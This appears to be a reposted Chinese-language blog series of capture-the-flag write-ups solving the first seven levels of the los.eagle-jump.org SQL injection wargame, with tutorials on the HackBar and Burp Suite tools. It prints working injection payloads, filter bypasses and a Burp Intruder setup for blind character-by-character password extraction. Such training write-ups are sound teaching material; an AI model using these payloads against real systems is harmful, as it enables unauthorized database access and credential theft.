#SQL修改欄位資料
Explore tagged Tumblr posts
mrjerrychang · 2 years ago
Text
MS SQL 做「主索引鍵」不允許儲存【SQL2019示範替代方法】
有時候在開發程式時會需要搭配微軟SQL Server服務來存取資料,有些資料欄位程式設計師做上「主索引鍵」(稱:做Key),偶爾會發一種狀況資料表欄位都設計好了最後卻無法存檔,變得存檔也不是,不存檔又白費功夫設定資料表,如何解救此狀況… Continue reading Untitled
Tumblr media
View On WordPress
0 notes
gslin · 2 years ago
Text
0 notes
hitcon-kb · 8 years ago
Text
los.eagle-jump/SQL injection網站練習介紹
作者: 張書睿(Susie) 來源: http://tw-sas.com
網站位址:http://los.eagle-jump.org 這是一個非常流行、適合初學到進階者練習SQL injection的網站 一開始使用的時候,會進入到網站的這個頁面
Tumblr media
直接點選[enter to the dungeon] 他會出現要你輸入帳號和密碼的地方
Tumblr media
第一次使用者直接在空白欄位處輸入你想要的帳號和密碼,選擇Join 通過以後,再打一次帳密,就可以Login囉
Tumblr media
網站就長這個樣子 很像打怪獸。
要一關一關的往上升級才能破關喔 接下來我們就開始吧
SQL INJECTION FireFox-HackBar的用法
你不用真的打在網址列那邊,就可以發生作用囉 以los.eagle-jump.org的第一題為例
1. 先把原來的url複製到loadURL裡面
Tumblr media
2. 在Load URL的網址列後面打:?id=&pw=aaa (所以完整的列表會顯示:http://los.eagle-jump.org/gremlin_bbc5af7bed14aa50b84986f2de742f31.php?id=&pw=aaa) 接著按Execute或ctrl-X 你會發現他的頁面都沒有變。
Tumblr media
這樣你可以在pw後面一直改成你想要的東西試試看
3.如果我在id的地方改成’1′ ,網頁就會吃進’1’。把數字的部分選起來,旁邊可以再按’+’,值就會繼續往下加下去唷
Tumblr media Tumblr media
很方便吧~ 看完了工具小介紹 就可以回去los.eagle-jump.com試試看囉
SQL INJECTION los.eagle-jump-1-Gremlin-writes up
怪獸第一關
題目:
Tumblr media
解題原理:
解出query,也就是說:讓程式跑到solve(“gremlin) 就破關囉(倒數第二行) 換句話說,id=’{$_GET[id]}‘ and pw=’{$_GET[pw]}‘"這兩個都要對,就可以到solve囉
在做這一題前,有一個小小的題外話。 就是我的環境是使用FireFox,並且下載外掛HackBar唷。
Tumblr media
(可以參考另外一篇FireFox HackBar的用法)
切入正題,來解正題吧select id from prob_gremlin where id=" and pw="
這題蠻簡單的。 採用大家最熟悉的SQL inject語句 ‘OR 1 =1-- 但是這到底是什麼意思呢?
我們把他插進語句當中: select id from prob_gremlin where id=' 'OR 1 =1 --' and pw="
其中,我們仔細看:
id=' 'OR 1 =1 --' id="(空字串) OR(或者) 1=1(這很白話  1等於1) --’ (減減的意思,是註解的意思。也就是說  註解後面的東西,程式不會讀。)
整體來說:id是空字串(False)或者(OR)1等於1(True) True OR False===>在邏輯上,一定是True。所以造成語句的成立。 
最後我們實作看看:
Tumblr media
就看到出現GREMLIN Clear! 過關~
進入第二題~ 補充一下,這題解法不只一種喔
SQL INJECTION los.eagle-jump-2-Cobolt-writes up
解完第一題以後就會發現第二題的框框亮綠燈啦~ Go~
Tumblr media
這一題和第一題一樣,前面也有一些阻擋的措施。 不一樣的地方是:
1. pw=md5('{$_GET[pw]}') ==>他把password的地方用了md5! 2. if($result['id'] == 'admin')==>他的id要等於admin
所以我們來開始吧 我們先用上一題的想法試試看: ‘ or 1=1-- 結果出現:
Hello rubiya You are not admin 
Tumblr media
顆顆。結果很明顯: 你不是admin 但是這代表什麼呢?剛剛的語法代表整個where以後的都無效 所以把整個資料庫都撈出來 hello “rubiya"可能是第一筆的資料
所以我們假設admin是在後面其他筆 所以我們來撈撈看第二筆 註解一下:SQL 撈資料的話我們可以用一個關鍵字:limit (以下三張圖片from: http://www.codedata.com.tw/database/mysql-tutorial-basic-query)
Tumblr media Tumblr media Tumblr media
那我們就來limit看看吧 試試看囉
?id= ' or 1=1 limit 0,1 -- ‘
                             Hello rubiya You are not admin 
?id= ' or 1=1 limit 1,1 -- ‘
                              COBOLT Clear!
哈哈  這樣就解開了
Tumblr media
哈哈  這樣就解開了。
(?id= ' or 1=1 limit 1,1 -- '   ======>會沒有資料顯示)
那我們來試試看別的方法:
如果說我們已經知道他要的id是admin。但是我們不知道密碼。所以決定把密碼之後的東西都註解掉。( HTML對於井號的encoding 是 %23) : # 打進來也可以破關唷
Tumblr media
SQL INJECTION los.eagle-jump-3-goblin-writes up
第三題比較不太一樣
Tumblr media
題目要的是 1.     $_GET[no] ==>Number 2.     id='admin' 
既然要找Number,那我們就用上一題的方法來試試看啦 no=0 時,沒有出現東西 no =1時,出現了guest!
Tumblr media
如果no=2的時候,又沒有東西出現。 那剛剛出現的那一行代表什麼意思呢?? 就是程式已經跑到了倒數第三行(但是沒有繼續倒數第二行):
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
那我們現在再試試看另外一個方法(又要用到邏輯啦) 我們已經知道no=1的時候是有東西的了(True) 如果我們打:
?no=0 or 1=1
一樣會出現Hello guest 表示什麼呢?
no = 0 (False) or 1=1( True)  ==>False or True == True
我們現在已經把前面都弄成True囉 但是admin還是沒有出現啊? 他應該是在no= ?  但是我們不知道?是什麼。目前只知道?=1時有guest。(這是True)
?=2 和 ?=0 時跑不出東西 所以我們要先讓前面的id=’guest’失效。讓程式往下跑到後面,才能出現admin。
來看看這樣:
where id=’guest’ and no=0 or 1=1 and no = 2
一行行來看
where id=’guest’ (True)(因為資料庫裡面有guest的id) and(邏輯運算) no=0 (False)(因為沒有東西) True and False == False 這樣第一個部分就被False掉了
接下來
or(邏輯運算) 1=1 (True) 這樣整體又變成True 然後 no = 2 (True and True = True)
這樣就破關囉~~
Tumblr media
(好一個迂迴)…. 這一段多做幾遍看看囉~
SQL INJECTION los.eagle-jump-4-orc-writes up
前三題是比較基本一點的題型 接下來難度變比較高囉
Tumblr media
這一題的話有兩個地方在跑 第一個:先用語句去查資料庫 @mysql_fetch_array(mysql_query($query)); ,如果有資料就回覆 echo "
Hello admin
然後把密碼加上slash,再丟到資料庫去query。 如果對的話就過關了 (簡單來說,就是密碼對了 你就過關了)
開始來試試看吧 首先我們先把我們可以控制的地方打進去 ?pw=’ or 1 %23  (可以參考前幾題的解法)
把密碼註解掉以後,我們發現他可以出現Hello的字樣
Tumblr media
也就是說,程式已經跑到中間的那行
if($result['id']) echo " Hello admin “;
這邊開始要帶入一個substring的觀念(可以參考這個網站:http://www.1keydata.com/tw/sql/sql-substring.html)
我們剛剛打:?pw=’ or 1 %23  可以跳到Hello那段。 表示說 1是 True。換句話說,我們打?pw=’ or (id=’admin) %23也是可以的。(這邊就不截圖了可以自己嘗試看看)
從這個觀念繼續延伸。因為題目是要我們猜密碼。所以id的部分改成pw做看看。 但是由於我們不知道密碼,所以也不知道應該要怎麼開始…對吧@@"。 但是還是要試試看啊 不然怎麼破關。
這邊又要講到SQL的另外一個語法:like。 like是部分比對的意思。 假設真的密碼是test1234 如果我打 pw like ‘t’  ===>這時候應該就要有True的結果。
所以說,瞎子摸象的來猜密碼囉 我們就先從數字版+英數混合(左上角選擇AlNum)開始吧
Tumblr media
第一個 ?pw=’ or (pw like ‘1%’) %23  沒有東西。
然後選綠色的+  變成pw=’ or (pw like ‘2%’) %23。 哈哈  超級賽的,居然跳出Hello admin。
如果再選+,變成pw=’ or (pw like ‘3%’) %23。又沒有東西。 表示 like 2%是對的。(密碼是2開頭)
然後就是繼續猜啦
pw=’ or (pw like ‘21%’) %23  ==> x pw=’ or (pw like ‘22%’) %23  ==> x
一路跑到
pw=’ or (pw like ‘29%’) %23  ==>v
就這樣一路猜下去吧 最後答案是 295d5844
Tumblr media
最後最後 我們把語句改成 pw=295d5844 過關
Tumblr media
p.s 使用 ?pw=1’ or (id=’admin’ and length(pw)=xxx) %23 其中xxx為密碼長度 等於的地方可以改成大於或小於之類的 就可以先來猜猜看密碼總共有多長
另外 可以使用(id=’admin’ and substring(pw,1,1)=’xxx’) 用substring這個語法來得知說第幾位的密碼應該是多少
ex:
?pw= 1′ or (id=’admin’ and substring(pw,1,1)=’2′) %23
SQL INJECTION los.eagle-jump-5-wolfman-writes up
來到第五關啦 這一關的話,前面條件有過濾"空白"喔
Tumblr media
和上一題一樣,來猜密碼啦 ?pw=’ or 1=1 %23 結果他出現:No whitespace ~_~  (我就說他會過濾空白吧@@")
SQL injection要繞過空白的方法,就是把它變成註解。 我們的Hack Bar裡面就有這個功能喔。
點選上面SQL -> space to inline comment->他自動會幫你註解成這樣:?pw=’/**/or/**/1=1/**/%23
我們再把他送出,就可以繞過第一關囉
Tumblr media
Hello guest(可是還不是admin) 但是至少已經到程式的倒數第三行啦~(已經取了第一筆資料) 接下來就是要把id變成admin囉 直接加再後面 顆顆 就過了 ^^
Tumblr media
  SQL INJECTION, 工具 Burp Suite 使用介紹
其實就是一個代理伺服器 所有流量都經過他再到網路上 這工具是用java寫的。所以要先安裝JRE才能跑唷
Tumblr media
簡單介紹一下各個頁籤 1. Target:我們上網流程中,全部經過哪些站台 比如說我們來實驗一下: a. 我們先用firefox的外掛FoxyProxy,設定自己本基為代理伺服器”localhost:8080”(先於選項呢 設定localhost:8080) b. 設定好以後,Burp Suite的proxy就會亮
Tumblr media
c. Proxy這個頁籤裡面就是有你有那些參數那些封包等等
Tumblr media
d. 不要的話就把他先暫停掉,history裡面會有結果
Tumblr media
e. Target就會有站台的assignment。
Tumblr media
2. 如果想要對以前送過的封包做修改的話,就點proxy->http history->網址點選右鍵->send to repeater。封包就會送到repeater那邊給你自由修改啦 a. 點進去repeater裡面,左邊是可以讓你修改的。 b. 改好以後按一下go c. 右邊就是他的response
Tumblr media
(右邊旁邊的HTML也可以看到網頁被修改完的樣式唷)
3.Spider的話就是把你站內的站臺都去爬一次。打開來的話,會發出很大量的packet喔 4.Scanner 又可以分成主動和被動式的掃描 5. Intruder 去挖掘未知的漏洞。從剛剛Proxy裡面,按右鍵 send to intruder
Tumblr media
按positions 的地方可以選擇你的attack type,或是去payloads的地方選你的payload。(simple list字典檔、大小寫、暴力破解、插入無效字元等等)
6.sequencer是用來算id使用的。比較少用到。 7.decoder是用來作文字的編碼和解碼。 8.comparer是把封包丟進去。可以來做前後改變的比較。
 SQL INJECTION, 工具 los.eagle-jump-4-orc_用Burp Suite解決
第四題的第二種解法–使用Burp Suite來自動破解密碼
1. 先將FireFox 設定localhost:8080(配合Burp Suite 使用) 用前一篇的狀況來接續。(因為這一篇是要講Burp Suite來破解密碼)
Tumblr media
我們開Burp Suite來看封包的狀況
Tumblr media
可以看到裡面有藍色的pw和紅色一串字。
pw=%20%27%20or%20(id=%27admin%27%20and%20substring(pw,1,1)=%272%27)%20%23
這是什麼呢 顆顆 先回到target->site map 裡面->los.eagle-jump.org->右鍵->send to intruder
Tumblr media
點選intruder的頁籤->positions->attack type 選擇pitchfork(針對有效負仔變數逐一測試)
Tumblr media
在我們想要改變數的地方,前後加上$(可以按右邊的按鈕)
pw=%20%27%20or%20(id=%27admin%27%20and%20substring(pw,§1§,1)=%27§2§%27)%20%23
然後我們到payloads的頁籤去調整參數
1.設定第一個payload(密碼長度)
payload set = 1 payload type = Numbers(只會有阿拉伯數字)
我們已經知道有8位數,所以range 設定from 1 to 8,step 1(每個位子相隔一個)
Tumblr media
2.設定第二個payload(設定密碼)
payload set = 2
payload type = brute forcer(密碼只會有英文數字和阿拉伯數字)
這時候就會看到下面的character set列出全部的英文字母a-z和數字0-9的清單
因為我們是要字元,所以位數最短是1,最長也是1
Tumblr media
準備好囉
start attack 他就會跳出另外一個視窗 (因為是free edition,跑得有點慢  要等一下) 最後跑出了288種結果,結果那麼多,怎麼知道正確解釋哪一組呢?
Tumblr media
我們回到los.eagle-jump的頁面
我們來檢視兩種情況:正確和不正確的(出現hello admin 和沒有的)(分別送出兩種結果的封包) (可以用?pw= ‘ or (id=’admin’ and substring(pw,1,1)=’2′) %23和?pw= ‘ or (id=’admin’ and substring(pw,2,1)=’2′) %23 來測試) 然後把封包結果送出去comparer(選取兩個後按右鍵->send to comparer responses)
Tumblr media
就會出現兩個結果。我們按右下角的words來做比較 可以藉由顏色的標註來發現哪裡不一樣:content-length不同
(因為正確的封包多了hello admin)
Tumblr media
所以我們就知道正確和錯誤的差異點,是在長度 
針對length來排列 發現有八個的長度是5251,其他都是5231(剛好就是我們的八位數密碼嗎?) (按右鍵來highlight一下) filter-> 勾選only show highlighted items) 我們看payload2(因為paylaod1 是排序) 出現295d5844
Tumblr media
破關的方法很多種~ 找到適合自己的那種~就是最佳解答
SQL INJECTION los.eagle-jump-6-darkelf-writes up
第六題~
Tumblr media
先看看前面有過濾什麼。 在第二個if的地方:
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
他把and和or都過濾掉了。 所以等等如果有要用到這樣字元的話,我們要改成 && 和 || 來表示。 從前面幾題學到,有一個小小的起手勢:
?pw= ‘ or  1 %23 or 不能用,我們改成 ?pw= ‘ || 1 %23
結果跑出: Hello guest
至少可以控制一個情況會出現 True了 而且程式已經跑到倒數第三行了
接下來呢,他是要id=’admin’,才會solve。 ?pw= ' || 1 && id='admin' %23 這邊&&要用URLencode ?pw= ' || 1 %26%26 id='admin' %23
這樣就破關了
Tumblr media
補充一下,為什麼要把&&做urlencode呢
因為在PHP裡面,&後面接的是變數或變量。如果沒有用endoe的話,語句裡面會判定他後面接的是變量,變成參數傳遞。這和and的意思是完全不一樣的。
為了不要讓這種事情發生,就需要先用encode的方式,讓語句不會斷掉。
SQL INJECTION los.eagle-jump-7-orge-writes up
這題會使用前幾題用過的Burp Suite來解
Tumblr media
參照前不知道幾題的做法
先把前面都註解掉。他要找id=admin的就給他下條件 至於密碼長度和密碼位元嘛,就先打一下。等等是要用Burp Suite,最後這些都會變成可以改的變數。
?pw=’ || (id=’admin’ %26%26 substring(id,1,1)=’a’) %23
 打開Burp Suite吧 找到剛剛的封包,丟到intruder裡面
Tumblr media
先clear所有$,再把長度和要猜的字元變成變數:
選擇cluster bomb
Tumblr media
payloads第一個變數組態設定如下(可以參考前幾題怎麼設定)
payload set :1 payload type: Numbers From: 1 to: 9 step:1
第二個變數組態設定如下:
payload set:2 payload type Brute forcer min length:1 max length:1
 start attack!!
跟前幾題一樣。看長度的變化(這樣打會不會太偷懶啊…>"<)
最後排序一下 密碼為6c864dec 打進去 ?pw=6c864dec
Tumblr media
破關
0 notes